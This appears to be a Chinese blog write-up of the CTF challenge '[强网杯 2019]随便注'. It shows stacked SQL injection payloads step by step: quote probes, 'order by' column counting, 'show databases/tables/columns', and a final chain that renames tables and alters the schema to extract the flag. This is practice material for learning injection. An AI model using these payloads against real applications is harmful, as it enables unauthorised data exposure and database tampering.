buu web [强网杯 2019]随便注

easy_sql 看来这是一道sql注入的题

buu web [强网杯 2019]随便注_第1张图片

 1、起手试探
1'    报错
1'#    正确

ps:提交的不显示,想知道提交的东西就看红框的位置,就标了一个,剩下的也一样

buu web [强网杯 2019]随便注_第2张图片

buu web [强网杯 2019]随便注_第3张图片 

2、 测字段数,到三报错,说明字段为二
1' order by 1#
1' order by 2#
1' order by 3#  报错
得出列数为2

buu web [强网杯 2019]随便注_第4张图片

buu web [强网杯 2019]随便注_第5张图片

buu web [强网杯 2019]随便注_第6张图片

3、 先尝试一下union联合注入,发现关键词select被过滤了。
1' union select 1,2#

buu web [强网杯 2019]随便注_第7张图片 

尝试堆叠注入

原理:通过 ; 号注入多条SQL语句 

ps:在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。

4、 爆数据库
1';show databases;#

buu web [强网杯 2019]随便注_第8张图片

5、 爆表
1';show tables;#

buu web [强网杯 2019]随便注_第9张图片

6、爆words表

爆出来啥也没

1'; show columns from words;#

buu web [强网杯 2019]随便注_第10张图片

7、爆1919810931114514表

ps:表名为数字时,要用反引号包起来查询

buu web [强网杯 2019]随便注_第11张图片

8、爆flag

因为selec被过滤所以我们需要使用别的方法爆出flag

这里有一种最容易理解的方法就是:

先将words表换成别的名字,

然后将1919810931114514表命名成words,

在1919810931114514表里加上id字段,

最后查询表。

ps:注意这三步操作一定不要分开,如果改表明和加id操作分开会报错 <_

(ps:我猜测原理大概是,页面设置默认查询words表,需要靠id索引,如果不加上id,他就会一直报错,就算后面再输入添加id,页面操作在前,数据库在后,页面操作不通过的话,就不会往数据库里添加)

1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key;#

buu web [强网杯 2019]随便注_第12张图片

1' ;show tables;#

buu web [强网杯 2019]随便注_第13张图片

^-^ flag!!!

你可能感兴趣的:(数据库)